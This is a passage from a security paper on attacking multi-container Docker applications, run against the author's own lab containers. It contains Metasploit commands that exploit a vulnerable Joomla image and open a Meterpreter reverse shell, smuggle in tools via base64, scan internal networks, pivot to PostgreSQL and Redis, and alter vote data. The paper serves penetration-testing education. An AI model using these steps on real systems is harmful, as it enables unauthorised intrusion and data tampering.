no way to directly connect to the second SSH container, nor would it be able to directly connect to any other non-exported ports on either container. Once access has been gained to one container (in this example, test_sshd_1), there is nothing preventing connections to other non- exported ports. We can demonstrate this by SSH’ing from test_sshd_1 to test_sshd_2: root@819e5ea65007:~# ssh [email protected] The authenticity of host ‘172.17.0.3 (172.17.0.3)’ can’t be established. ECDSA key fingerprint is SHA256:LnUsdSckdnrFTt2QXKWsZmTABKr3sTE5oRelOvoJKSk. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added ‘172.17.0.3’ (ECDSA) to the list of known hosts. [email protected]’s password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-25-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Sat Jan 27 21:26:38 2018 from 172.17.0.1 root@2853974e9b1c:~# IMPLICATIONS FOR ATTACKERS The implication of this exercise is that an attacker that gains access through conventional exploits against a service exposed by a Docker container has now been placed into a situation that is familiar to them: having access to another network into which they can pivot. If multiple monolithic container applications are running on the same Docker host, and those applications are not running in independent Docker networks (which can be configured, but are not the default), then the Docker “bridge” (or other network) can be scanned for other hosts and services which administrators and developers may not have expected to be accessible by attackers. This will be familiar to attackers, such as penetration testers, as it is similar to other instances in which they move across network boundaries (such as movement from external services on public IP addresses to target-internal ranges). If you try to run through this SSH example without the “inside knowledge” provided by the Docker network and Docker port commands on the host, you will get a taste of some of the difficulties an attacker might have “living off the land” on compromised container hosts. Containers need only contain the binaries, libraries, and code needed to accomplish their goal, usually that of running one application or service. Wesley McGrew HORNECyber.com 15 An Attacker Looks at Docker: Approaching Multi-Container Applications Often, common command-line tools administrators and attackers alike rely on are not necessary and are omitted from Docker images. Attackers with experience in post-exploitation on embedded systems may already be experienced in working with minimal available tools in compromised targets. EXAMPLE: POST-EXPLOITATION INSIDE CONTAINERS MOTIVATION In our SSH example, the attacker, without knowledge of the Docker bridge network layout, would want to progress with the following goals: • Compromise the external service (in this case, SSH’ing in) • Identify the internal network information (i.e. What is my IP and netmask?) • Scan the internal network for other containers • Scan containers for services IDENTIFYING NETWORK INFORMATION The first hurdle an attacker will run into will be the simple matter of identifying the local IP address. Observe: root@819e5ea65007:~# ifconfig -bash: ifconfig: command not found root@819e5ea65007:~# ip a -bash: ip: command not found If your container has network access, and you don’t mind increasing your footprint considerably, you could install packages you need. In this case, we add the package containing the “ip” command: root@819e5ea65007:~# apt install iproute2 <SNIP APT OUTPUT> root@819e5ea65007:~# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 57: eth0@if58: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever Wesley McGrew HORNECyber.com 16 An Attacker Looks at Docker: Approaching Multi-Container Applications If this isn’t an option, you can also extract the information from the /proc file system: root@819e5ea65007:~# cat /proc/net/tcp sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode 0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 36420849 1 0000000000000000 100 0 0 10 0 1: 020011AC:0016 010011AC:B4D8 01 00000000:00000000 02:0005A43A 00000000 0 0 36421136 4 0000000000000000 20 5 25 10 -1 root@819e5ea65007:~# cat /proc/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT eth0 00000000 010011AC 0003 0 0 0 00000000 0 00 eth0 000011AC 00000000 0001 0 0 0 0000FFFF 0 00 This output presents TCP connections and routing information in little-endian hexadecimal values. In the above output, the values that have been marked in bold can be decoded to identify network information: • IP Address: 020011ACh → AC.11.00.02 → 172.17.0.2 • Network: 000011ACh → 172.17.0.0 • Netmask: 0000FFFFh → 255.255.0.0 • Default gateway (host): 010011ACh → 172.17.0.1 LOADING TOOLS INTO COMPROMISED CONTAINERS You can explore a common minimal post-exploitation container environment by looking at the base “alpine” image. Alpine Linux is used by many Docker images that aim towards small, minimal container environments. Most of the command-line tools available within it are provided by a single BusyBox binary. wes@br:~$ docker pull alpine Using default tag: latest latest: Pulling from library/alpine ff3a5c916c92: Already exists Digest: sha256:7df6db5aa61ae9480f52f0b3a06a140ab98d427f86d8d5de0bedab9b8df6b1c0 Status: Downloaded newer image for alpine:latest wes@br:~$ docker run -it alpine /bin/sh / # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin / # ls -al /usr/bin total 184 drwxr-xr-x 2 root root 4096 Jan 9 19:37 . drwxr-xr-x 7 root root 4096 Jan 9 19:37 .. lrwxrwxrwx 1 root root 12 Jan 9 19:37 [ -> /bin/busybox Wesley McGrew HORNECyber.com 17 An Attacker Looks at Docker: Approaching Multi-Container Applications lrwxrwxrwx 1 root root 12 Jan 9 19:37 [[ -> /bin/busybox lrwxrwxrwx 1 root root 12 Jan 9 19:37 awk -> /bin/busybox lrwxrwxrwx 1 root root 12 Jan 9 19:37 basename -> /bin/ busybox <SNIP> Interestingly, while the base Ubuntu container does not contain ifconfig or ip, Alpine does include ifconfig. To accomplish much else, however, you’ll need to install from the “apk” repositories or transfer in binaries/ scripts yourself. As an example of the former, the following two commands will allow you to install an SSH client: / # apk update fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/main/x86_64/APKINDEX.tar.gz fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/community/x86_64/APKINDEX. tar.gz v3.7.0-56-g2e8e7a0d34 [http://dl-cdn.alpinelinux.org/alpine/v3.7/main] v3.7.0-58-g26701b74f8 [http://dl-cdn.alpinelinux.org/alpine/v3.7/community] OK: 9044 distinct packages available / # apk add openssh (1/6) Installing openssh-keygen (7.5_p1-r8) (2/6) Installing openssh-client (7.5_p1-r8) (3/6) Installing openssh-sftp-server (7.5_p1-r8) (4/6) Installing openssh-server-common (7.5_p1-r8) (5/6) Installing openssh-server (7.5_p1-r8) (6/6) Installing openssh (7.5_p1-r8) Executing busybox-1.27.2-r7.trigger OK: 8 MiB in 17 packages / # For transferring your own tools, there is a BusyBox version of wget available in the base Alpine container. Other distributions commonly used to build Docker images do not contain easy-to-use tools for file transfer in their bare-bones forms. For these systems (including Ubuntu, Debian, and CentOS), there are at least three options for bootstrapping execution of arbitrary binaries: • Update package repositories and install the needed tools. This requires network access to the repositories and a willingness to have that specific impact/footprint on the running container. • Utilize the language tools that have been installed to support the application/module/service that the Docker container is running. For example, if the purpose of the Docker container is to run Python code, the standard Python libraries can be used from a script or the interactive Python console to download and run arbitrary binaries. • Encode and paste in a statically-linked (or correctly dynamic linked, if you create it specifically for the target container) binary that will either accomplish the task or bootstrap more transfers. Wesley McGrew HORNECyber.com 18 An Attacker Looks at Docker: Approaching Multi-Container Applications We can demonstrate the last option using a statically compiled version of the “ncat” netcat variant, available from a useful repository of statically compiled binaries (https://github.com/andrew-d/static-binaries). All of the base distribution images discussed so far have the Base-64 command installed, which allows us to translate a binary into printable ASCII characters that we can then copy and paste into a file on the target container, and decode back into an executable binary. On the attacker’s machine, we prepare the text of the ncat binary: wes@br:~/Downloads$ base64 ncat > ncat_test.txt If we open the binary in a text editor, we see many lines of Base-64 encoded text: f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAkilAAAAAAABAAAAAAAAAAHh0LAAAAAAAAAAAAEAAOAAD AEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA1DcrAAAAAADUNysAAAAAAAAA …<SNIP>… AAAAAAAAAAEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAF0LAAAAAAAcQAAAAAAAAAAAAAAAAAAAAEA AAAAAAAAAAAAAAAAAAA= We can select this text, copy it, and paste it into a file on the target container from a shell running on that container. We then mark the file as executable and demonstrate that we have a working ncat binary on the target container: root@9c9746bc6223:/# base64 -d ncat_text.txt > ./ncat <paste text, hit enter, then ctrl-D to end the file> root@9c9746bc6223:/# chmod 755 ncat root@9c9746bc6223:/# ./ncat Ncat: You must specify a host to connect to. QUITTING. EXPLOITING THE OUTER SURFACE OF A MULTI-CONTAINER APPLICATION INTRODUCTION The nature of the vulnerability that allows us access to the container-based application might provide us the foothold we need to explore the remainder of the application. Remote code execution vulnerabilities, for example, often give us the opportunity to transfer a payload to the target machine that is useful to us. For this section’s example, we will use a vulnerability present in an older version of Joomla, still available in some publicly accessible Docker Hub repositories, to demonstrate. Wesley McGrew HORNECyber.com 19 An Attacker Looks at Docker: Approaching Multi-Container Applications VALUE IN LAB ENVIRONMENTS Docker can be useful for attackers who wish to experiment and train with specific vulnerable versions of target applications. Traditionally, this is a time-consuming process that involves creating a virtual environment for the application, complete with its idiosyncratic dependencies and installation procedures. As time and version history march on, it can be increasingly difficult to recreate the circumstances of an older vulnerability. On the publicly-accessible Docker Hub, images are frequently “tagged” by version number, and it is often possible to find an image that bundles up everything necessary to get a specific version of an application up and running very quickly. Sometimes these exist in the tags of “official” Docker images for an application. Sometimes it is possible to identify “one-off” unofficial images created and made public by ordinary Docker users. In the case of this section’s example, we have pulled and followed setup instructions for an unofficial (and vulnerable) version of Joomla[14], then committed the configured and running copy to the local image list as “joomla_target”. VULNERABILITIES BROUGHT INTO AND CARRIED ALONG IN CONTAINERS The availability of ready-made Docker images, both official and unofficial, represent a convenience for developers and administrators. Unfortunately, this convenience can also lead to a situation where a running Docker container lags in security updates while the underlying image waits to be updated by the administrator/developer, or in the time that it takes for a new image to be built. For official images, a process may be automated to keep the Docker Hub image up-to-date, but for unofficial images, a patched version may or may not ever be created. We can test exploitation by running our committed, vulnerable image of Joomla as follows, on the default “bridge” network. TCP port 80 on the target container is forwarded to port 80 on the host, and after this command we can access the installed Joomla instance at http://localhost/ : wes@br:~$ docker run -d -p 80:80 joomla_target 1c33421c5d24308f9bd22a895a8a3bdee9638aaa71d3f4b82123eb113b4a1efc In this demonstration, we’ll use Metasploit’s joomla_http_header_rce exploit against the target container: msf > use exploit/multi/http/joomla_http_header_rce msf exploit(multi/http/joomla_http_header_rce) > set RHOST localhost RHOST => localhost msf exploit(multi/http/joomla_http_header_rce) > set payload php/ meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(multi/http/joomla_http_header_rce) > set LHOST 192.168.2.177 LHOST => 192.168.2.177 msf exploit(multi/http/joomla_http_header_rce) > exploit [*] Started reverse TCP handler on 192.168.2.177:4444 [*] localhost:80 - Sending payload ... Wesley McGrew HORNECyber.com 20 An Attacker Looks at Docker: Approaching Multi-Container Applications [*] Sending stage (37543 bytes) to 172.17.0.2 [*] Meterpreter session 1 opened (192.168.2.177:4444 -> 172.17.0.2:40052) at 2018-01-30 04:24:05 +0000 meterpreter > sysinfo Computer : 1c33421c5d24 OS : Linux 1c33421c5d24 4.13.0-25-generic #29-Ubuntu SMP Mon Jan 8 21:14:41 UTC 2018 x86_64 Meterpreter : php/linux meterpreter > Because Docker has become popular primarily within the past few years, an image is likely to have been created during that time, drastically reducing the chances of an older, known vulnerability being present in a containerized application/service. While this property limits the selection of exploits that might show promise against container-based applications, it should be noted that the “front-end” of multi-container applications are likely to be parts written by internal or contracted teams for the end customer, and thus more likely to be unaudited and contain typical web application vulnerabilities than widely used services that support that code. In the experiences of the author’s penetration testing teams, the team members are always excited about the prospect of attacking “custom”, “internal”, “contracted”, or “niche” web applications found on client networks. At any rate, vulnerabilities in open source and commonly used supporting services/frameworks are not likely to stop being discovered and exploited either. The movement of an operation from the outside a multi- container application to the insides of that application should not be surprising to anyone involved in attacking or defending those applications. Now that we have discussed an approach to attacking multi-container applications and demonstrated some of the mechanics in isolation, we can mock up a more complete operation. EXAMPLE: POST-EXPLOITATION OF A MULTI-CONTAINER APPLICATION INTRODUCTION The Docker Example Voting App is often used in demonstration and tutorials of Docker and Docker Compose. The application is made up of multiple containers that provide services for each other with the overall goal of providing interfaces for voting and viewing results in a simple poll. The individual containers contain code written in a variety of languages and using a couple off-the-shelf open source services. The containers include: • A Python web interface for casting votes • A Redis server that collects the votes • A .NET worker that takes votes from Redis and inserts them into a database • A PostgreSQL database server • A Node.js web interface for viewing results Wesley McGrew HORNECyber.com 21 An Attacker Looks at Docker: Approaching Multi-Container Applications While this a simplified and contrived example application, it illustrates the concept of developing a larger application as a collection of smaller services. The individual services are so loosely coupled that they can be written in completely different languages and environments, as long as they can communicate with each other in standard and common protocols. It’s also a simple application that we can more completely examine in this context of this work[15]. There are many advantages to this approach and architectural design, but for the purposes of this paper and associated talk, we are more concerned with how an attacker might view the application after having compromised some aspect of it. For our mock operation, we will modify the voting application to include the vulnerable Joomla instance we spun up and tested previously in this paper. Once we gain access to the networks contained within the multi-container application, we’ll look at how it can then be explored and manipulated. TARGET APPLICATION SETUP For the demonstration, we add the Joomla target container to the docker-compose.yml file, which describes the layout of the application. version: “3” services: vote: build: ./vote command: python app.py volumes: - ./vote:/app ports: - “5001:80” networks: - front-tier - back-tier result: build: ./result command: nodemon server.js volumes: - ./result:/app ports: - “5002:80” - “5858:5858” networks: - front-tier - back-tier joomla: image: joomla_target Wesley McGrew HORNECyber.com 22 An Attacker Looks at Docker: Approaching Multi-Container Applications ports: - “80:80” networks: - front-tier - back-tier worker: build: context: ./worker depends_on: - “redis” networks: - back-tier redis: image: redis:alpine container_name: redis ports: [“6379”] networks: - back-tier db: image: postgres:9.4 container_name: db volumes: - “db-data:/var/lib/postgresql/data” networks: - back-tier volumes: db-data: networks: front-tier: back-tier: The voting application has two networks, and like the other front-end containers, we give the Joomla container access to both networks, and expose a port to the host for interaction. Port numbers for the voting and results applications have been shifted from the version on GitHub in order to avoid a conflict with a locally-running Docker registry container. The “docker-compose up” command can be used to build and bring the entire multi-container application up, and we can see the exposed interfaces. Wesley McGrew HORNECyber.com 23 An Attacker Looks at Docker: Approaching Multi-Container Applications INTERFACE PROVIDED BY VOTE CONTAINER INTERFACE PROVIDED BY VOTE CONTAINER Wesley McGrew HORNECyber.com 24 An Attacker Looks at Docker: Approaching Multi-Container Applications ATTACKER SETUP We can position the attacker outside of the voting application by creating a separate network in which we will run a Kali Linux container that has the Metasploit Framework installed. Ports on the external attack surface of the voting application will be accessible by the attacker on the attacker’s network’s default gateway. The internal networks of the target application will only be accessible via pivoting through the initial compromise of the Joomla container that we’ve inserted. wes@lappy:~$ docker run --network attacker -p 4000:4000 -it metasploit /bin/ bash root@dcdd01356172:/# service postgresql start [ ok ] Starting PostgreSQL 10 database server: main. root@dcdd01356172:/# msfconsole -q msf > ip a [*] exec: ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever INTERFACE PROVIDED BY VULNERABLE JOOMLA CONTAINER Wesley McGrew HORNECyber.com 25 An Attacker Looks at Docker: Approaching Multi-Container Applications 127: eth0@if128: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0 valid_lft forever preferred_lft forever EXPLOITATION We can now set up the attack on the Joomla target: msf > use exploit/multi/http/joomla_http_header_rce msf exploit(multi/http/joomla_http_header_rce) > set RHOST 172.19.0.1 RHOST => 172.19.0.1 msf exploit(multi/http/joomla_http_header_rce) > set PAYLOAD php/ meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp msf exploit(multi/http/joomla_http_header_rce) > set LHOST 10.41.48.192 LHOST => 10.41.48.192 msf exploit(multi/http/joomla_http_header_rce) > set LPORT 4000 LPORT => 4000 In this demonstration, the PHP Meterpreter listener is set to forward to and listen on the host operating system on port 4000. Once the options are configured, we can launch the exploit and gain access to the target container: msf exploit(multi/http/joomla_http_header_rce) > run [-] Handler failed to bind to 10.41.48.192:4000:- - [*] Started reverse TCP handler on 0.0.0.0:4000 [*] 172.19.0.1:80 - Sending payload ... [*] Sending stage (37543 bytes) to 172.19.0.1 [*] Meterpreter session 1 opened (172.19.0.2:4000 -> 172.19.0.1:60342) at 2018-01-30 15:46:41 +0000 meterpreter > sysinfo Computer : a3f280146222 OS : Linux a3f280146222 4.13.0-32-generic #35-Ubuntu SMP Thu Jan 25 09:13:46 UTC 2018 x86_64 Meterpreter : php/linux Wesley McGrew HORNECyber.com 26 An Attacker Looks at Docker: Approaching Multi-Container Applications IDENTIFYING CONTAINERIZATION An attacker might not know they are attacking a containerized application until the initial compromise is successful and there is an opportunity to take a look inside. Containers are typically minimal and have very few processes running within their context. Dead giveaways include the presence of a .dockerenv file in the root directory, and indications of docker in /proc/1/cgroup: meterpreter > shell Process 64 created. Channel 6 created. cat /proc/1/cgroup 12:blkio:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 11:perf_event:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 10:devices:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 9:cpuset:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 8:memory:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 7:net_cls,net_prio:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 6:pids:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 5:hugetlb:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 4:rdma:/ 3:freezer:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 2:cpu,cpuacct:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 1:name=systemd:/docker/ a3f2801462229e76208c283c9f2e5c0860b4dcbcac9dbe35f7236116df35524b 0::/system.slice/docker.service EXPLORING THE MULTI-CONTAINER NETWORK We can see that the compromised container has network interfaces on more than one network. In practice, this is an indication that the container we have compromised is almost certainly not alone on one of these networks. In any case, this gives the attacker indication that they need to conduct a scan for other containers that might make up a multi-container application (or other monolithic applications on the same host, if they share the same network, such as the default “bridge”). Wesley McGrew HORNECyber.com 27 An Attacker Looks at Docker: Approaching Multi-Container Applications ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 115: eth1@if116: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:03 brd ff:ff:ff:ff:ff:ff inet 172.20.0.3/16 brd 172.20.255.255 scope global eth1 valid_lft forever preferred_lft forever 123: eth0@if124: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:15:00:06 brd ff:ff:ff:ff:ff:ff inet 172.21.0.6/16 brd 172.21.255.255 scope global eth0 valid_lft forever preferred_lft forever As a non-root user (www-data) running the PHP Meterpreter, we are somewhat limited in what we can do post- exploitation. We can, however, at least transfer in a statically compiled nmap that we can use to map out the rest of the application’s containers. meterpreter > background [*] Backgrounding session 1... msf exploit(multi/http/joomla_http_header_rce) > curl -O https://raw. githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/ nmap [*] exec: curl -O https://raw.githubusercontent.com/andrew-d/static- binaries/master/binaries/linux/x86_64/nmap % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5805k 100 5805k 0 0 2315k 0 0:00:02 0:00:02 --:--:-- 2315k msf exploit(multi/http/joomla_http_header_rce) > sessions -i 1 [*] Starting interaction with 1... meterpreter > upload nmap /tmp [*] uploading : nmap -> /tmp [*] uploaded : nmap -> /tmp/nmap meterpreter > shell Process 35 created. Channel 2 created. cd /tmp chmod 755 nmap Wesley McGrew HORNECyber.com 28 An Attacker Looks at Docker: Approaching Multi-Container Applications ./nmap -sT -p1-65535 172.20.0.1-10 /bin/sh: 1: ./nmap: not found cd tmp ./nmap -sT -p1-65535 172.20.0.1-10 Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-01-30 19:45 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for lappy (172.20.0.1) Host is up (0.00030s latency). Not shown: 65525 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 902/tcp open unknown 4000/tcp open unknown 5000/tcp open unknown 5001/tcp open unknown 5002/tcp open rfe 5355/tcp open hostmon 5858/tcp open unknown 32774/tcp open unknown Nmap scan report for examplevotingapp_result_1.examplevotingapp_front-tier (172.20.0.2) Host is up (0.00038s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Nmap scan report for a3f280146222 (172.20.0.3) Host is up (0.000066s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Nmap scan report for examplevotingapp_vote_1.examplevotingapp_front-tier (172.20.0.4) Host is up (0.00038s latency). Wesley McGrew HORNECyber.com 29 An Attacker Looks at Docker: Approaching Multi-Container Applications Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Nmap done: 10 IP addresses (4 hosts up) scanned in 5.98 seconds ./nmap -sT -p1-65535 172.21.0.1-10 Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2018-01-30 19:46 UTC Unable to find nmap-services! Resorting to /etc/services Cannot find nmap-payloads. UDP payloads are disabled. Nmap scan report for lappy (172.21.0.1) Host is up (0.00015s latency). Not shown: 65525 closed ports PORT STATE SERVICE 80/tcp open http 443/tcp open https 902/tcp open unknown 4000/tcp open unknown 5000/tcp open unknown 5001/tcp open unknown 5002/tcp open rfe 5355/tcp open hostmon 5858/tcp open unknown 32774/tcp open unknown Nmap scan report for db.examplevotingapp_back-tier (172.21.0.2) Host is up (0.00038s latency). Not shown: 65534 closed ports PORT STATE SERVICE 5432/tcp open postgresql Nmap scan report for redis.examplevotingapp_back-tier (172.21.0.3) Host is up (0.00036s latency). Not shown: 65534 closed ports PORT STATE SERVICE 6379/tcp open unknown Nmap scan report for examplevotingapp_result_1.examplevotingapp_back-tier (172.21.0.4) Host is up (0.00014s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Wesley McGrew HORNECyber.com 30 An Attacker Looks at Docker: Approaching Multi-Container Applications Nmap scan report for a3f280146222 (172.21.0.5) Host is up (0.000074s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Nmap scan report for examplevotingapp_worker_1.examplevotingapp_back-tier (172.21.0.6) Host is up (0.00024s latency). All 65535 scanned ports on examplevotingapp_worker_1.examplevotingapp_back- tier (172.21.0.6) are closed Nmap scan report for examplevotingapp_vote_1.examplevotingapp_back-tier (172.21.0.7) Host is up (0.00028s latency). Not shown: 65534 closed ports PORT STATE SERVICE 80/tcp open http Nmap done: 10 IP addresses (7 hosts up) scanned in 9.58 seconds In the above output, we have scanned the first ten IP addresses in each of the two networks. Docker seems to assign IP addresses incrementally, so scanning both /16 networks completely isn’t necessary in this specific case. We see a number of ports (including the externally forwarded ports) on the host on the “.1” IP address of both networks. Also, we see each of our containers, helpfully with descriptive hostnames that indicate their name (and network names) in the docker-compose.yml file: • examplevotingapp_result_1.examplevotingapp_front-tier (172.20.0.2) • a3f280146222 (172.20.0.3) (the Joomla target we inserted) • examplevotingapp_vote_1.examplevotingapp_front-tier (172.20.0.4) • db.examplevotingapp_back-tier (172.21.0.2) • redis.examplevotingapp_back-tier (172.21.0.3) • examplevotingapp_result_1.examplevotingapp_back-tier (172.21.0.4) • a3f280146222 (172.21.0.5) • examplevotingapp_worker_1.examplevotingapp_back-tier (172.21.0.6) examplevotingapp_vote_1.examplevotingapp_back-tier (172.21.0.7) Note that, as described in the Compose file, the Joomla target (which we have compromised), the voting container, and the results container are all on both networks (172.20 and 172.21). Wesley McGrew HORNECyber.com 31 An Attacker Looks at Docker: Approaching Multi-Container Applications ATTACKING THE APPLICATION-INTERNAL DATABASE SERVER We can use our Meterpreter session to forward a local port through the compromised container to the PostgreSQL database server that we have identified. meterpreter > portfwd add -L 127.0.0.1 -l 8999 -p 5432 -r 172.21.0.2 [*] Local TCP relay created: 127.0.0.1:8999 <-> 172.21.0.2:5432 The default username for the official PostgreSQL image being used is “postgres”, with no default password. We can attempt to connect to the database, examine the tables, and modify the voting results. root@d86ebfd97e54:/# psql -h 127.0.0.1 -p 8999 -U postgres psql (10.1 (Debian 10.1-3), server 9.4.15) Type “help” for help. postgres=# \dt List of relations Schema | Name | Type | Owner --------+-------+-------+---------- public | votes | table | postgres postgres=# select * from votes; id | vote ------------------+------ 6318cb4c0b00af50 | a postgres=# INSERT INTO votes (id, vote) VALUES (‘1’,’b’), (‘2’,’b’), (‘3’,’b’), (‘4’,’b’); postgres=# \q Wesley McGrew HORNECyber.com 32 An Attacker Looks at Docker: Approaching Multi-Container Applications The Redis server is similarly wide open by default, requiring no authentication. We can telnet into its open TCP port and use the MONITOR command to begin watching the output of commands being issued to it. The following shows the “worker” container continuously polling for new commands, and a vote being submitted by the front-end. +1517345973.133383 [0 172.21.0.6:48177] “LPOP” “votes” +1517345973.235806 [0 172.21.0.6:48177] “LPOP” “votes” +1517345973.338204 [0 172.21.0.6:48177] “LPOP” “votes” +1517345973.440434 [0 172.21.0.6:48177] “LPOP” “votes” +1517345973.503102 [0 172.21.0.7:49212] “RPUSH” “votes” “{\”vote\”: \”b\”, \”voter_id\”: \”6318cb4c0b00af50\”}” +1517345973.543386 [0 172.21.0.6:48177] “LPOP” “votes” +1517345973.875534 [0 172.21.0.6:48177] “LPOP” “votes” +1517345973.977387 [0 172.21.0.6:48177] “LPOP” “votes” +1517345974.078515 [0 172.21.0.6:48177] “LPOP” “votes” With this information, we can insert our own votes via Redis, that will eventually wind up in the PostgreSQL container (by way of the worker). www-data@a3f280146222:/$ nc redis 6379 nc redis 6379 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”a\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”a\”}” :1 RESULTS AFTER INSERTING VOTES DIRECTLY INTO THE DATABASE CONTAINER Wesley McGrew HORNECyber.com 33 An Attacker Looks at Docker: Approaching Multi-Container Applications RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”b\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”c\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”d\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”e\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”f\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”g\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”h\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”i\”}” RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”j\”}”RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”b\”}” :1 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”c\”}” :2 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”d\”}” :2 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”e\”}” :2 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”f\”}” :3 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”g\”}” :4 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”h\”}” :4 RPUSH votes “{\”vote\”: \”a\”, \”voter_id\”: \”i\”}” :5 Wesley McGrew HORNECyber.com 34 An Attacker Looks at Docker: Approaching Multi-Container Applications RESULTS AFTER PUSHING VOTES INTO THE REDIS CONTAINER QUEUE We’re currently a relatively unprivileged user within the container we’ve compromised, though it has given us a high degree of leverage across the multi-container application. CONCLUSIONS Applications made up of multiple containers have the potential to provide “extra” internal networks that attackers can interact with after the initial compromise of an application’s external attack surface. In this work, we have explored the fundamentals of the Docker platform, as an attacker would see them on typical applications. An attacker trained in exploitation of systems and networks, but not necessarily on the instrumentation of monolithic application internals, can use this information and their existing training to easily explore and manipulate the internals of multi-container applications that they gain a foothold on. This paper and its associated talk should get attackers, otherwise unfamiliar with containerization platforms, a jump start on experimenting with them and allow them to identify and more effectively attack them on real-world offensive engagements. Wesley McGrew HORNECyber.com 35 An Attacker Looks at Docker: Approaching Multi-Container Applications 1. David Mortman, Docker, Docker, Give Me the News, I Got a Bad Case of Securing You, DEF CON 23, https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON- 23-David-Mortman-Docker-UPDATED.pdf 2. Gotham Digital Science, Docker Secure Deployment Guidelines https://github.com/GDSSecurity/Docker-Secure-Deployment-Guidelines 3. Aaron Grattafiori, Linux Containers: Future or Fantasy?, DEF CON 23, https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON- 23-Aaron-Grattafiori-Linux-Containers-Future-or-Fantasy-UPDATED.pdf 4. Aaron Grattafiori, Understanding and Hardening Linux Containers, https://www.nccgroup.trust/us/our-research/understanding-and-hardening-linux-containers/ 5. Anthony Bettini, Vulnerability Exploitation in Docker Containers, Black Hat Europe 2015, 